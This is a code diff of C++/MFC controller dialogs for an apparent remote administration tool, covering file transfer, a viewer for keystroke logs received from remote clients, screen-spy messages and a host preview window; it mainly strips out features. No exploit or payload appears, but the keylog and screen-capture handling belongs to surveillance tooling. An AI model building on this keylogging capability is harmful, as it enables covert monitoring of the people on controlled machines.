std::vector<BYTE>(buf, buf + len), transferID);
|
||||
PostMessage(msg, (WPARAM)payload, 0);
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
SendException();
|
||||
break;
|
||||
@@ -2711,87 +2684,10 @@ void CFileManagerDlg::OnLocalStop()
|
||||
|
||||
void CFileManagerDlg::PostNcDestroy()
|
||||
{
|
||||
// 清理 V2 接收进度框:注意 CDialogBase::PostNcDestroy 写死 `delete this`,
|
||||
// 对话框关窗时会自删——这里**不能** delete,否则双重释放。
|
||||
// 用 HWND 而非 ptr 判活,避免野指针;SendMessage(WM_CLOSE) 让它走自己关闭路径。
|
||||
for (auto& entry : m_FileRecvDlgs) {
|
||||
HWND hWnd = entry.second.first;
|
||||
if (hWnd && ::IsWindow(hWnd)) {
|
||||
::SendMessage(hWnd, WM_CLOSE, 0, 0);
|
||||
}
|
||||
}
|
||||
m_FileRecvDlgs.clear();
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
__super::PostNcDestroy();
|
||||
}
|
||||
|
||||
// V2 下载(远程→本地)chunk 处理:UI 线程上执行,安全创建/操作进度框
|
||||
LRESULT CFileManagerDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM /*lParam*/)
|
||||
{
|
||||
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
|
||||
if (!payload) return 0;
|
||||
|
||||
BYTE* szBuffer = payload->first.data();
|
||||
size_t len = payload->first.size();
|
||||
uint64_t transferID = payload->second;
|
||||
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
|
||||
|
||||
// 按 transferID 懒加载/复用进度框
|
||||
// 注意:CDlgFileSend 的 PostNcDestroy 自删(CDialogBase 默认行为),
|
||||
// 窗口被自动关闭后 dlg 是野指针,HWND 失效是唯一可信号——重建即可,
|
||||
// 旧 ptr 不再访问、不能 delete。
|
||||
auto& entry = m_FileRecvDlgs[transferID];
|
||||
CDlgFileSend* dlg = entry.second;
|
||||
if (dlg == nullptr || !::IsWindow(entry.first)) {
|
||||
dlg = new CDlgFileSend(g_2015RemoteDlg, m_ContextObject->GetServer(),
|
||||
m_ContextObject, FALSE);
|
||||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||||
dlg->SetWindowTextA(_TR("接收文件 (V2)"));
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
dlg->m_bKeepConnection = TRUE; // FileManager 子连接复用,对话框关闭时不断开
|
||||
entry = { dlg->GetSafeHwnd(), dlg };
|
||||
}
|
||||
|
||||
// 落盘
|
||||
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||
int n = RecvFileChunkV2((char*)szBuffer, len, nullptr, nullptr, hash, hmac, 0);
|
||||
if (n) {
|
||||
Mprintf("[FileManager] RecvFileChunkV2 failed: %d\n", n);
|
||||
}
|
||||
|
||||
// 进度
|
||||
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
|
||||
dlg->UpdateProgress(CString((char*)name, (int)pkt->nameLength), FileProgressInfo(pkt));
|
||||
|
||||
delete payload;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// V2 文件完成校验:UI 线程
|
||||
LRESULT CFileManagerDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM /*lParam*/)
|
||||
{
|
||||
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
|
||||
if (!payload) return 0;
|
||||
|
||||
BYTE* szBuffer = payload->first.data();
|
||||
size_t len = payload->first.size();
|
||||
uint64_t transferID = payload->second;
|
||||
|
||||
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, len, 0);
|
||||
Mprintf("[FileManager] V2 文件校验%s\n", verifyOk ? "通过" : "失败");
|
||||
|
||||
// 关闭对应进度框
|
||||
auto it = m_FileRecvDlgs.find(transferID);
|
||||
if (it != m_FileRecvDlgs.end()) {
|
||||
if (::IsWindow(it->second.first)) {
|
||||
it->second.second->FinishFileSend(verifyOk);
|
||||
}
|
||||
m_FileRecvDlgs.erase(it);
|
||||
}
|
||||
|
||||
delete payload;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendTransferMode()
|
||||
{
|
||||
CFileTransferModeDlg dlg(this);
|
||||
@@ -3317,19 +3213,18 @@ void CFileManagerDlg::OnTransferV2ToRemote()
|
||||
// 通知客户端目标目录(使用远程当前目录)
|
||||
// 由 SendFilesToClientV2 内部的 COMMAND_C2C_PREPARE 处理
|
||||
|
||||
// 调用V2传输 - 通过 clientID 找主连接(m_ContextObject 是子连接)。
|
||||
// 不能用 GetPeerName() + FindHostByIP:NAT/frpc/反代场景下子连接的 socket peer
|
||||
// 常是 127.0.0.1 或内网地址,跟主连接登录时存的 RES_CLIENT_PUBIP 对不上,
|
||||
// 会找到错误的 ctx 或返回 NULL(剪贴板 V2 走 FindHost(clientID) 没此问题)。
|
||||
if (g_2015RemoteDlg) {
|
||||
uint64_t clientID = GetClientID();
|
||||
context* mainCtx = clientID ? g_2015RemoteDlg->FindHost(clientID) : nullptr;
|
||||
// 调用V2传输 - 需要通过IP找到主连接(m_ContextObject是子连接)
|
||||
if (g_2015RemoteDlg && m_ContextObject) {
|
||||
// 通过子连接的IP地址找到主连接
|
||||
std::string peerIP = m_ContextObject->GetPeerName();
|
||||
context* mainCtx = g_2015RemoteDlg->FindHostByIP(peerIP);
|
||||
if (mainCtx) {
|
||||
// 使用远程当前目录作为目标目录
|
||||
std::string remoteDir = m_Remote_Path.GetString();
|
||||
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
|
||||
ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
|
||||
} else {
|
||||
ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID);
|
||||
ShowMessage(_TRF("找不到主连接: %s"), peerIP.c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -36,8 +36,6 @@
|
||||
#define WM_MY_MESSAGE (WM_USER+300)
|
||||
#define WM_LOCAL_SEARCH_DONE (WM_USER+302)
|
||||
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
|
||||
#define WM_RECVFILEV2_CHUNK (WM_USER+304)
|
||||
#define WM_RECVFILEV2_COMPLETE (WM_USER+305)
|
||||
|
||||
// FileManagerDlg.h : header file
|
||||
//
|
||||
@@ -271,15 +269,6 @@ protected:
|
||||
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||
private:
|
||||
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
||||
|
||||
// V2 下载(远程→本地):FileManager 子连接的 NotifyProc 在 worker 线程上
|
||||
// 直接调 OnReceiveComplete,不能在那里 new 进度框(窗口创建在 worker 线程
|
||||
// 没有消息泵,PostMessage 投不出去)。把 chunk 数据拷贝出来 PostMessage 回
|
||||
// 自己(UI 线程)处理,参考 ScreenSpyDlg 同样的模式。按 transferID 维护进度框。
|
||||
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
|
||||
afx_msg LRESULT OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
|
||||
@@ -229,11 +229,7 @@ public:
|
||||
return m_bIsClosed;
|
||||
}
|
||||
virtual uint64_t GetClientID() const {
|
||||
// 优先用 UpdateContext 设过的 m_ClientID(重连场景),否则取子连接 ctx 自身的 ID。
|
||||
// 子连接通过 TOKEN_CONN_AUTH 通过校验后,ctx->GetClientID() 已被钉成主连接的 clientID,
|
||||
// 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底(NAT/127.0.0.1 场景靠谱)。
|
||||
if (m_ClientID != 0) return m_ClientID;
|
||||
return m_ContextObject ? m_ContextObject->GetClientID() : 0;
|
||||
return m_ClientID;
|
||||
}
|
||||
BOOL SayByeBye()
|
||||
{
|
||||
|
||||
@@ -3,9 +3,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include "KeyBoardDlg.h"
|
||||
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -24,18 +22,7 @@ static char THIS_FILE[] = __FILE__;
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||
{
|
||||
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||||
|
||||
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||||
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
|
||||
// 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。
|
||||
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
|
||||
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
|
||||
if (caps != 0) {
|
||||
CString capStr;
|
||||
capStr.Format(_T("%04X"), caps);
|
||||
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||||
}
|
||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||
}
|
||||
|
||||
|
||||
@@ -86,32 +73,6 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
||||
|
||||
UpdateTitle();
|
||||
|
||||
// -----------------------------------------------------------------
|
||||
// 把 m_edit 重建为 Unicode 类窗口。
|
||||
// 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
|
||||
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
|
||||
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||||
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||
// -----------------------------------------------------------------
|
||||
{
|
||||
CRect rc;
|
||||
m_edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
DWORD style = m_edit.GetStyle();
|
||||
DWORD exStyle = m_edit.GetExStyle();
|
||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||
m_edit.DestroyWindow();
|
||||
HWND hEdit = ::CreateWindowExW(
|
||||
exStyle, L"EDIT", L"", style,
|
||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||
AfxGetInstanceHandle(), NULL);
|
||||
m_edit.Attach(hEdit);
|
||||
if (hFont)
|
||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
}
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
@@ -149,33 +110,9 @@ void CKeyBoardDlg::AddKeyBoardData()
|
||||
{
|
||||
// 最后填上0
|
||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||||
if (!utf8 || !utf8[0])
|
||||
return;
|
||||
|
||||
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||
// 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
|
||||
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||
UINT cp = GetClientEncoding(m_ContextObject);
|
||||
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
|
||||
if (wlen <= 1)
|
||||
return;
|
||||
std::wstring wbuf(wlen - 1, L'\0');
|
||||
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
|
||||
|
||||
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
|
||||
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
|
||||
// EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即
|
||||
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
|
||||
// 用户手动移动光标后插入位置不对等)。
|
||||
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
|
||||
// 不依赖 WM_GETTEXTLENGTH 计算结果。
|
||||
// 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。
|
||||
HWND hEdit = m_edit.GetSafeHwnd();
|
||||
if (!hEdit) return;
|
||||
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
|
||||
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
|
||||
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
m_edit.SetSel(len, len);
|
||||
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
||||
}
|
||||
|
||||
bool CKeyBoardDlg::SaveRecord()
|
||||
@@ -192,30 +129,10 @@ bool CKeyBoardDlg::SaveRecord()
|
||||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
|
||||
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
|
||||
// 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。
|
||||
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
|
||||
std::wstring wbuf;
|
||||
if (wlen > 0) {
|
||||
wbuf.resize(wlen);
|
||||
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
|
||||
}
|
||||
|
||||
// UTF-8 BOM
|
||||
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
|
||||
file.Write(bom, 3);
|
||||
|
||||
if (!wbuf.empty()) {
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||
NULL, 0, NULL, NULL);
|
||||
if (u8len > 0) {
|
||||
std::string u8(u8len, '\0');
|
||||
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||
&u8[0], u8len, NULL, NULL);
|
||||
file.Write(u8.data(), (UINT)u8.size());
|
||||
}
|
||||
}
|
||||
// Write the DIB header and the bits
|
||||
CString strRecord;
|
||||
m_edit.GetWindowText(strRecord);
|
||||
file.Write(strRecord, strRecord.GetLength());
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
@@ -239,8 +156,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
} else if (nID == IDM_CLEAR_RECORD) {
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
|
||||
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
|
||||
m_edit.SetWindowText("");
|
||||
} else if (nID == IDM_SAVE_RECORD) {
|
||||
SaveRecord();
|
||||
} else {
|
||||
|
||||
@@ -57,6 +57,9 @@ public:
|
||||
} else {
|
||||
m_langDir = langDir;
|
||||
}
|
||||
|
||||
// 确保目录存在
|
||||
CreateDirectory(m_langDir, NULL);
|
||||
}
|
||||
|
||||
// 获取可用的语言列表(包括内嵌语言)
|
||||
|
||||
@@ -1,243 +0,0 @@
|
||||
// PreviewTipWnd.cpp
|
||||
#include "stdafx.h"
|
||||
#include "PreviewTipWnd.h"
|
||||
|
||||
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
|
||||
#include <gdiplus.h>
|
||||
#pragma comment(lib, "gdiplus.lib")
|
||||
|
||||
using namespace Gdiplus;
|
||||
|
||||
namespace {
|
||||
constexpr int PADDING = 8;
|
||||
constexpr int IMAGE_TEXT_GAP = 6; // 图像与下方文本之间的留白
|
||||
constexpr int MIN_TEXT_W = 360;
|
||||
constexpr int MAX_TEXT_W = 720; // 文本可换行宽度上限(垂直布局,宽度不再受图像挤压)
|
||||
constexpr int MAX_IMAGE_W = 960; // 显示上限(防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外)
|
||||
constexpr int LOADING_W = 480; // 占位的最小宽度(图像未到达时)
|
||||
constexpr int LOADING_H = 270;
|
||||
} // namespace
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
|
||||
ON_WM_PAINT()
|
||||
ON_WM_ERASEBKGND()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CPreviewTipWnd::CPreviewTipWnd() = default;
|
||||
|
||||
CPreviewTipWnd::~CPreviewTipWnd()
|
||||
{
|
||||
// m_image 通过 unique_ptr 自动释放
|
||||
}
|
||||
|
||||
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
|
||||
{
|
||||
m_text = text;
|
||||
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
|
||||
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
|
||||
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
|
||||
m_imageReserveW = LOADING_W;
|
||||
m_imageReserveH = LOADING_H;
|
||||
}
|
||||
|
||||
// 创建字体(项目是 MBCS,但浮窗用宽字符;显式 LOGFONTW + W 版 API 避免编码混淆)
|
||||
LOGFONTW lf = {};
|
||||
HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
|
||||
if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
|
||||
hSysFont = nullptr;
|
||||
}
|
||||
if (!hSysFont) {
|
||||
lf.lfHeight = -12;
|
||||
wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
|
||||
}
|
||||
HFONT hF = ::CreateFontIndirectW(&lf);
|
||||
if (hF) m_font.Attach(hF);
|
||||
|
||||
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
|
||||
LPCTSTR kClass = AfxRegisterWndClass(
|
||||
CS_SAVEBITS,
|
||||
::LoadCursor(NULL, IDC_ARROW),
|
||||
(HBRUSH)(COLOR_INFOBK + 1),
|
||||
NULL);
|
||||
|
||||
// 临时尺寸;RecalcLayoutAndResize 会在创建后调整
|
||||
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
|
||||
BOOL bOk = CWnd::CreateEx(
|
||||
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
|
||||
kClass, _T(""),
|
||||
WS_POPUP | WS_BORDER,
|
||||
rc, pParent, 0);
|
||||
if (!bOk) return FALSE;
|
||||
|
||||
RecalcLayoutAndResize();
|
||||
|
||||
ShowWindow(SW_SHOWNOACTIVATE);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
|
||||
{
|
||||
if (!data || bytes == 0) return;
|
||||
|
||||
HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
|
||||
if (!hMem) return;
|
||||
void* p = ::GlobalLock(hMem);
|
||||
if (!p) { ::GlobalFree(hMem); return; }
|
||||
memcpy(p, data, bytes);
|
||||
::GlobalUnlock(hMem);
|
||||
|
||||
IStream* stream = nullptr;
|
||||
if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
|
||||
::GlobalFree(hMem);
|
||||
return;
|
||||
}
|
||||
|
||||
std::unique_ptr<Bitmap> bmp(new Bitmap(stream, FALSE));
|
||||
stream->Release(); // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
|
||||
|
||||
if (!bmp || bmp->GetLastStatus() != Ok) {
|
||||
return;
|
||||
}
|
||||
|
||||
m_image = std::move(bmp);
|
||||
m_hasImage = true;
|
||||
m_unavailable = false;
|
||||
RecalcLayoutAndResize();
|
||||
if (GetSafeHwnd()) Invalidate();
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::MarkPreviewUnavailable()
|
||||
{
|
||||
if (m_hasImage) return; // 已经有图就不再覆盖
|
||||
m_unavailable = true;
|
||||
if (GetSafeHwnd()) Invalidate();
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::RecalcLayoutAndResize()
|
||||
{
|
||||
HWND hWnd = GetSafeHwnd();
|
||||
if (!hWnd) return;
|
||||
|
||||
// 估算图像尺寸(先算图像,因为文本宽度要参考图像宽度对齐)
|
||||
if (m_image) {
|
||||
int iw = (int)m_image->GetWidth();
|
||||
int ih = (int)m_image->GetHeight();
|
||||
if (iw > MAX_IMAGE_W) {
|
||||
ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
|
||||
iw = MAX_IMAGE_W;
|
||||
}
|
||||
m_imageDrawW = iw;
|
||||
m_imageDrawH = ih;
|
||||
} else {
|
||||
m_imageDrawW = m_imageReserveW;
|
||||
m_imageDrawH = m_imageReserveH;
|
||||
}
|
||||
|
||||
// 文本换行宽度:与图像同宽(让文本视觉上对齐到图像下方),但不超过 MAX_TEXT_W
|
||||
// 没有图像时退化到 MAX_TEXT_W
|
||||
int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
|
||||
if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
|
||||
|
||||
// 估算文本尺寸(项目是 MBCS,但浮窗文本是宽字符,必须显式调用 W 版本)
|
||||
CClientDC dc(this);
|
||||
CFont* old = dc.SelectObject(&m_font);
|
||||
CRect rcText(0, 0, textWrapW, 32767);
|
||||
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
|
||||
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
|
||||
m_textW = max((int)MIN_TEXT_W, rcText.Width());
|
||||
if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW); // 至少与图像同宽
|
||||
m_textH = rcText.Height();
|
||||
dc.SelectObject(old);
|
||||
|
||||
int contentW = max(m_imageDrawW, m_textW);
|
||||
int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
|
||||
int totalW = PADDING + contentW + PADDING;
|
||||
int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
|
||||
|
||||
// 当前左上角
|
||||
CRect rc;
|
||||
GetWindowRect(&rc);
|
||||
int newX = rc.left;
|
||||
int newY = rc.top;
|
||||
|
||||
// 防止越出屏幕:右下夹紧到工作区
|
||||
HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
|
||||
MONITORINFO mi = { sizeof(mi) };
|
||||
if (hMon && GetMonitorInfo(hMon, &mi)) {
|
||||
if (newX + totalW > mi.rcWork.right) newX = max((int)mi.rcWork.left, mi.rcWork.right - totalW);
|
||||
if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top, mi.rcWork.bottom - totalH);
|
||||
}
|
||||
|
||||
SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
|
||||
BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
|
||||
{
|
||||
return TRUE; // 在 OnPaint 里整体填充
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::OnPaint()
|
||||
{
|
||||
CPaintDC pdc(this);
|
||||
CRect rcClient;
|
||||
GetClientRect(&rcClient);
|
||||
|
||||
// 双缓冲
|
||||
CDC memDC;
|
||||
memDC.CreateCompatibleDC(&pdc);
|
||||
CBitmap memBmp;
|
||||
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
|
||||
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
|
||||
|
||||
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
|
||||
|
||||
CFont* oldFont = memDC.SelectObject(&m_font);
|
||||
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
|
||||
memDC.SetBkMode(TRANSPARENT);
|
||||
|
||||
int curY = PADDING;
|
||||
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
|
||||
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
|
||||
DrawImageArea(memDC, rcImg);
|
||||
curY += m_imageDrawH + IMAGE_TEXT_GAP;
|
||||
}
|
||||
|
||||
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
|
||||
DrawTextArea(memDC, rcText);
|
||||
|
||||
memDC.SelectObject(oldFont);
|
||||
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
|
||||
memDC.SelectObject(oldBmp);
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
|
||||
{
|
||||
// 边框
|
||||
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
|
||||
|
||||
if (m_hasImage && m_image) {
|
||||
Graphics g(dc.GetSafeHdc());
|
||||
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
|
||||
g.SetSmoothingMode(SmoothingModeHighQuality);
|
||||
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
|
||||
} else {
|
||||
// 占位灰色背景
|
||||
CRect rcInner = rc;
|
||||
rcInner.DeflateRect(1, 1);
|
||||
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
|
||||
|
||||
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
|
||||
UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
|
||||
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
|
||||
RECT rcInnerRaw = rcInner;
|
||||
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
|
||||
dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
|
||||
}
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
|
||||
{
|
||||
RECT r = rc;
|
||||
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
|
||||
DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
// PreviewTipWnd.h
|
||||
// 双击在线主机时弹出的浮窗:上方 JPEG 缩略图,下方主机信息文本。
|
||||
// 无图片时显示"加载预览…"占位,供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
|
||||
#pragma once
|
||||
|
||||
#include <afxwin.h>
|
||||
#include <memory>
|
||||
#include <vector>
|
||||
|
||||
namespace Gdiplus { class Bitmap; }
|
||||
|
||||
class CPreviewTipWnd : public CWnd
|
||||
{
|
||||
public:
|
||||
CPreviewTipWnd();
|
||||
virtual ~CPreviewTipWnd();
|
||||
|
||||
// 创建浮窗。
|
||||
// anchor 屏幕坐标,浮窗左上角
|
||||
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
|
||||
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
|
||||
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
|
||||
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
|
||||
|
||||
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
|
||||
void SetImageFromJpeg(const BYTE* data, size_t bytes);
|
||||
// 标记预览不可用(请求超时 / 客户端报错)。
|
||||
void MarkPreviewUnavailable();
|
||||
|
||||
WORD GetReqId() const { return m_reqId; }
|
||||
void SetReqId(WORD id) { m_reqId = id; }
|
||||
|
||||
protected:
|
||||
afx_msg void OnPaint();
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
void RecalcLayoutAndResize();
|
||||
void DrawImageArea(CDC& dc, const CRect& rc);
|
||||
void DrawTextArea(CDC& dc, const CRect& rc);
|
||||
|
||||
CStringW m_text;
|
||||
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
|
||||
int m_imageReserveH = 0; // 预留图像高度(按 16:9)
|
||||
int m_imageDrawW = 0; // 实际图像绘制宽度
|
||||
int m_imageDrawH = 0; // 实际图像绘制高度
|
||||
int m_textW = 0;
|
||||
int m_textH = 0;
|
||||
|
||||
bool m_hasImage = false;
|
||||
bool m_unavailable = false;
|
||||
std::unique_ptr<Gdiplus::Bitmap> m_image;
|
||||
|
||||
CFont m_font;
|
||||
WORD m_reqId = 0;
|
||||
};
|
||||
@@ -489,8 +489,6 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||||
ON_WM_VSCROLL()
|
||||
ON_WM_LBUTTONDOWN()
|
||||
ON_WM_LBUTTONUP()
|
||||
ON_WM_RBUTTONDOWN()
|
||||
ON_WM_RBUTTONUP()
|
||||
